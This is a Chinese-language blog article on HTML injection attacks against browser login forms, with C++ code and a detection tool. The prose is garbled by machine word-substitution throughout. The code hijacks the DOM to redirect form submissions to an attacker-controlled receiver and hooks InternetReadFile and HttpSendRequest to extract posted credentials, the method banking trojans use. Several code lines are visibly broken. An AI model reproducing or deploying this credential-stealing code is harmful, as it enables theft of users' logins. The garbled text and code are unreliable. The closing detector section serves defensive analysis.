|
|
|
联系客服020-83701501

基于元素剥离的多种html注入实现Attack及防范

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
基于元素剥离的多种html注入实现Attack及灌注贯注

一、原理注明

1、我这里说的HTML注入其实不是什么伪动静注入,而是经由向阅读器插入额定的字段代码,混入其它的上岸表单中,从而让用户看起来额定的代码口角法的,一种说白了便是窃取全副用户音讯的能力。相似行为的比方Zeus、Fakelas、还有我天朝的11wer等。

二、打击能力

1、MITM(两端人打击)能力实现HTML注入

两端人打击,意思是把我们动员打击的主机布置在web做事器和受害者PC之间的通信中。从而也许在做事器相应报文抵达受害者PC以前,我们也许转变也许插入数据来批改报文。从而抵达了欺骗的成就。

可是当月朔般因为SSL繁杂性以及要做到MITM打击必要一个独立的网络职位地方侦察点,所以MITM打击注入HTML也只是一种鸡肋的能力。不管在windows下还是linux下,乘意见意义的冤家也许自身测试下。这里不多赘述。

2、批改IE阅读器的文档模子(DOM)实现HTML注入

起首向全数不晓畅DOM的冤家冗杂表达一下DOM。DOM,全称Document Object Model,即文档器材模子,它是构成web网页多个元素的集中。

因为网页中的元素,比方链接、表单、文本框、表格等但凡也许经由特殊的接口进行操作,所以我们才说是基于DOM的HTML注入,这里要引入两个与操作DOM最关连的接口,分别是IWebBrowser2和IHTMLDocument2。

当我们结构好恶意代码,毗连到阅读器网页的DOM后,也许执行一些监视用户接见会面过的URL、强行操控阅读器发送POST数据报文到我们管教的接收地点、从HTML表格中删除一些余额明细报表的生意数据等(银行木马窃取用户音讯的根本能力)。

我们要先经由加载一个DLL(动静链接库)到IE阅读器,用来接见会面我们必要的接口,也许间接从IE的独立进程中接见会面必要的接口。

这里演示一下,一个冗杂的HTML上岸表单,如图,地点是:http://localhost/login.php

login

代码如下:

Default
12345678910111213141516171819202122232425 <table width="300" align="center"><tr><form method="post" action="checklogin.php"><td><table width="100%"><tr><td colspan="2"><b>会员登录</b></td></tr><tr><td>用户名:</td><td><input name="user" type="text" /></td></tr><tr><td>密码:</td><td><input name="pass" type="text" /></td></tr><tr><td> </td><td><input type="submit" name="submit" value="login" /></td></tr></table></td></form></tr></table>

提交表单的method为POST,action为checklogin.php。我们知道了这个表单的行为,那么我们就要入手下手阐发如何进行打击。 体例是对其进行HTML注入来改写表单中的action,这样当用户点击Login按钮时,阅读器也许将证书发送到我们管教的接收地点。

确定了方向,我们入手下手结构恶意代码,让它来完成我们所必要的行为。上面我冗杂写了一个exe法度,运行后将等候用户接见会面http://localhost /login.php,然后把持DOM的接口开掘表单中的元素,开头将表单里的action地点换取为我们捏造的另外一个接收地点 http://localhost/nandi.php ,这样就完成为了一次捏造的基于阅读器DOM实现的HTML注入。

我们结构代码如下:

Default
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155 int main(void){    HRESULT hr;    IShellWindows *shell;    IDispatch *folder;    IDispatch *html;    IwebBrowser2 *browser;    IHTMLDocument *doc;    LONG Count;    VARIANT vIndex;    BOOL bDone = FALSE;     CoInitialize(NULL);     DWORD dwFlags = CLSCTX_REMOTE_SERVER|                    CLSCTX_LOCAL_SERVER|                    CLSCTX_INPROC_HANDLER|                    CLSCTX_INPROC_SERVER;     //等候用户接见会面貌标页面     while(1) {         //激活IShellWindows接口         hr = CoCreateInstance(CLSTD_ShellWindows,            NULL,dwFlags,            IID_IShellWindows, (void **)&shell);         if(hr != S_OK) {            printf("CoCreateInstance failed:0x%x!n",hr);            break;        }         //遍历轮回全部具有的窗口         shell->get_Count(&Count);        for(int i=0; iItem(vIndex, (IDispatch **)&folder);            if (hr !=S_OK || !folder) {                continue;            }             //测验考试激活IWebBrowser2接口             hr = folder->QueryInterface(IID_IWebBrowser2,                                         (void **)&browser);            if (hr !=S_OK || !browser) {                folder->Release();                continue;            }             //当用户接见会面貌标页面,等候页面加载完成,从阅读器提取IHTMLDocument接口,然后测验考试进行注入HTML             if (IsReadyTarget(browser)) {                hr = browser->get_Document((IDispatch**)&html);                if (hr == S_OK && html) {                    hr = html->QueryInterface(IID_IHTMLDocument2,                                              (void**)&doc);                    if (hr == S_OK && doc) {                        bDone = ReplaceForms(doc);                        doc->Release();                    }                    html->Release();                }            }            browser->Release();        }         shell->Release();         //假定得胜,竣事轮回         if(bDone) break;        Sleep(1000);    }     CoUninitialize();    return 0;} //当用户接见会面貌标页面并且加载竣事,此函数将返回True BOOL IsReadyTarget(IWebBrowser2 *browser){    HRESULT hr;    VARIANT_BOOL vBool;    BSTR bstrUrl;    BOOL bRet = FALSE;    LPWSTR szTarget = L"http://localhost/login.php"; //这是我的本地测试页面,具体情况具体批改!     //我们必要重视web中可见的全数     browser->get_Visible(&vBool);    if (!vBool)        return FALSE;    //失掉之后URL    hr = browser->get_LocationURL(&bstrUrl);    if (hr !=S_OK || !bstrUrl)        return FALSE;     //查抄URL并等候加载    if (wcsstr((LPCWSTR)bstrUrl,szTarget) !=Null) {        do {            browser->get_Busy(&vBool);            Sleep(1000);        } while (vBool);        bRet = TRUE;    }    SysFreeString(bstrUrl);    return bRet;} BOOL ReplaceForms(IHTMLDocument2 *doc){    HRESULT hr;    IHTMLElementCollection *forms;    IHTMLFormElement *element;    IDispatch *theform;    VARIANT vEmpty;    VARIANT vIndexForms;    LONG CountForms;    BOOL bRet == FALSE;    BSTR bstrEvil = SysAllocString(L"http://localhost/nandi.php");  //这里是我捏造的action,具体情况具体阐发     //盘问doc表单    hr = doc->get_forms((IHTMLElementCollection**)&forms);     if (hr != S_OK || !forms)        return FALSE;     //在doc中轮回每个表单元素     forms->get_length(&CountForms);    for (int j=0; jitem(vIndexForms,vEmpty,(IDispatch**)&theform);        if (hr !=S_OK || !theform) {            continue;        }        //取得表单元素        hr = theform->QueryInterface(IID_IHTMLFormElement,                                     (void**)&element);        if (hr == S_OK && element) {            //转变action的地点            hr = element->put_action(bstrEvil);            if (hr == S_OK) {                bRet = TRUE;            }            element->Release();        }        theform->Release();    }     forms->Release();    SysFreeString(bstrEvil);    return bRet;}

 

3、操纵API钩籽实现HTML注入API钩子来实现HTML注入冗杂并且无效,可口角常繁杂被检测进去,任何反rootkit的扫描器都也许列出被拦挡的函数。我们所操纵的API钩子一般拦挡的可疑函数是IneternetReadFile和HttpSendRequest。IE阅读器调用网络ReadFile失掉来自做事器的数据字节,然后在阅读器中体现,所以也许通畴昔接这个函数,让我们的法度也许在数据回显 给用户以前换取应答数据。另外一面,HttpSendRequest发送了一个采集POST的恳请到web做事器,经由拦挡HttpSendRequest 函数,我们结构的恶意代码也许从POST中提存入证书,即使是HTTPS,也便是经由SSL加密的网页也会具有该注入。稍微懂一点的人都晓畅,网络ReadFile接收的是解密后的数据,而HttpSendRequest接收的是加密前的数据。所以我们结构的代码编译好依然也许截获到全副数据。

我们结构好的操纵代码如下:

Default
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859 BOOL Hook_网络ReadFile(  _in HINTERNET hFile,  _out LPVOID lpBuffer  _in DWORD dwNumberOfBytesToRead  _out LPDWORD lpdwNumberOfBytesRead){    //起首调用真实的函数     BOOL bRet = True_网络ReadFile(        hFile,        lpBuffer        dwNumberOfBytesToRead,        lpdwNumberOfBytesRead);     DWORD dwErr = GetLastError();     //武断用户是否接见会面貌标页面     if (IsTarget(hInet)) {        InjectHTML(hInet,               lpBuffer,               lpdwNumberOfBytesRead); } SetLastError(dwErr);return bRet; } BOOL Hook_HttpSendRequestA(  _in HINTERNET hRequest,  _in LPCTSTR lpszHeaders,  _in DWORD dwHeadersLength,  _in LPVOID lpOptional,  _in DWORD dwOptionalLength) {    if (IsTarget(hRequest)) &&             //是否接见会面貌标页面        lpOptional !=NULL &&           //武断POST的载荷是否具有        dwOptionalLength > 0)          //武断POST的载荷是否具有     {        ExtractCredentials(               hRequest,               lpOptional,               dwOptionalLength);    }     //调用真实的函数     return True_HttpSendRequestA(        hRequest,        lpszHeaders,        dwHeadersLength,        lpOptional,        dwOptionalLength); }

三、灌注贯注与检测HTML注入

一般来说,API钩子是很繁杂被反rootkit扫描器检测进去的,这一点后面我也说到过。相关于API钩子,DOM批改加倍具有欺骗性,因为一般没有什 么合法来因去拦挡网络ReadFile和HttpSendRequest,而批改DOM不会拦挡任何函数。

大师想,这注较着什么呢?有些冤家大要已经想到了,那便是说,非论用的是API钩子还是批改DOM,关于HTML的注入都仅仅是在阅读器进程的内存中显 示。很是是阅读器封锁的缓存恪守会在缓存文件夹下天生用户接见会面页面的原始正本。于是当我们执行doc.exe后(关连代码请参考后面,后缀名为php只是 为了方便大师在网络上检查关连代码,理论必要编译。),我们再来接见会面http://localhost/login.php ,决定“检查源代码”,这个时候阅读器将接见会面磁盘中的缓存页面而不是从内存中接见会面批改后页面。

所以假定经由”检查源代码“的门径其实不克不及辨别出阅读器中的页面元素是否已被批改。如图所示:

123123

关于检测HTML注入,我这里写了一个器材,思路原理如下:

a.针对我们指定必要查抄的每个页面提议一个新的IE进程,并等候加载,并且额定等候几秒钟,目的为了让我们的恶意代码执行HTML注入。
b.接见会面阅读器的DOM,把持和恶意代码雷同的API,可是不执行任何批改,只是把页面形式正本转存到法度目次,并命名为url_dom.txt。
c.查抄阅读器是否把持GetUrlCacheEntryInfo API缓存了指定页面的正本。假定是,那么将网络常设文件夹中的缓存文件以url_cache.txt复制到法度目次中。
d.截取IE窗口,并生计到法度目次,以便检查阅读器中Html页面的外面。

上面是法度演示示例:

Default
12 C:>echo http://localhost/login.php ->url.txtC:>HtmlInjectionDetector.exe -f url.txt -s

下场如下:

asd

当初应有三个文件:

a — url_dom.txt — IE阅读器中体现的Html正本。
b — url_cache.txt — web做事器返回的原始Html正本。
c — url.bmp — 接见会面页面的屏幕截图

如图所示,经由阅读这些文件,也许很繁杂确定页面的批改情况

late

不过假定转变了Https网页中的表单并以POST门径将数据提交到Http网页,那么阅读器会弹出提醒或告诫。可是我们也许再参与一些代码来经由批改IE设置中的舛讹动静模式来禁用这些提醒或告诫,这里就不多说了。

器材打包,用法当心 — 器材会自动打开需查抄的url,在页面上停顿2秒左右不要关闭,不然无法抓取缓存和之后正本!

下载地点:baidu网盘

[via@nandi]

数安新闻+更多

证书相关+更多